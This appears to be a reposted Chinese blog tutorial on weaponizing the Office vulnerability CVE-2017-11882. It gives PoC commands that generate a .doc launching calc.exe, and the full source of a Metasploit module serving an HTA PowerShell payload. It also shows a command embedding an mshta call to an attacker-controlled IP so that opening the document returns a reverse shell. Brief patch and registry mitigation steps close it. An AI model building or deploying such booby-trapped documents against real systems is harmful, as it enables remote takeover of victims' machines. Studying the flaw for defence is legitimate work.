Office远程代码执行漏洞（CVE-2017-11882）

POC:

https://github.com/Ridter/CVE-2017-11882/

一、简单的生成弹计算器的doc文件。

网上看到的改进过的POC，我们直接拿来用，命令如下：

#python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

生成的doc文件直接打开就可以弹出计算器。

影响的脚本：

    Office 365

    Microsoft Office 2000

    Microsoft Office 2003

    Microsoft Office 2007 Service Pack 3

    Microsoft Office 2010 Service Pack 2

    Microsoft Office 2013 Service Pack 1

    Microsoft Office 2016

二、生成可以反弹shell的doc文件

这里我们用到MSF， 添加EXP脚本，进入/usr/share/metasploit-framework/modules/exploits/windows/，新建一个office文件夹，把以下的代码保存为ps_shell.rb。

EXP脚本

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule  < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info  = {})

    super(update_info(info,

      'Name' => 'Microsoft Office Payload Delivery',

      'Description' => %q{

        This module generates an command to place within

        a word document, that when executed, will retrieve a HTA payload

        via HTTP from an web server. Currently have not figured out how

        to generate a doc.

      },

      'License' => MSF_LICENSE,

      'Arch' => ARCH_X86,

      'Platform' => 'win',

      'Targets' =>

        [

          ['Automatic', {} ],

        ],

      'DefaultTarget' => 0,

    ))

  end

  def on_request_uri(cli, _request)

    print_status("Delivering payload")

    p = regenerate_payload(cli)

    data = Msf::Util::EXE.to_executable_fmt(

      framework,

      ARCH_X86,

      'win',

      p.encoded,

      'hta-psh',

      { :arch => ARCH_X86, :platform => 'win '}

    )

    send_response(cli, data, 'Content-Type' => 'application/hta')

  end

  def primer

    url = get_uri

    print_status("Place the following DDE in an MS document:")

    print_line("mshta.exe \"#{url}\"")

  end

end

保存之后如下:

之后我们进入msf控制台，选择好payload并且设置好ip和生成的hta文件路径。

然后利用上面的POC将生成的hta文件放到doc文件里。

#python Command109b_CVE-2017-11882.py -c "mshta http://192.168.49.142:8080/123" -o test123.doc

将生成的test123.doc文件放到目标机里打开，成功返回shell。

修复建议：

1.下载微软对此漏洞补丁：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882，并且开启自动更新功能
2.在注册表中禁用该漏洞模块：
reg
add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM
Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility
Flags” /t REG_DWORD /d 0x400

reg add
“HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM
Compatibility\{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility
Flags” /t REG_DWORD/d 0x400

最后放几个GitHub上面的POC：

https://github.com/starnightcyber/CVE-2017-11882

https://github.com/embedi/CVE-2017-11882

https://github.com/Ridter/CVE-2017-11882/

转自：http://www.cnblogs.com/fox-yu/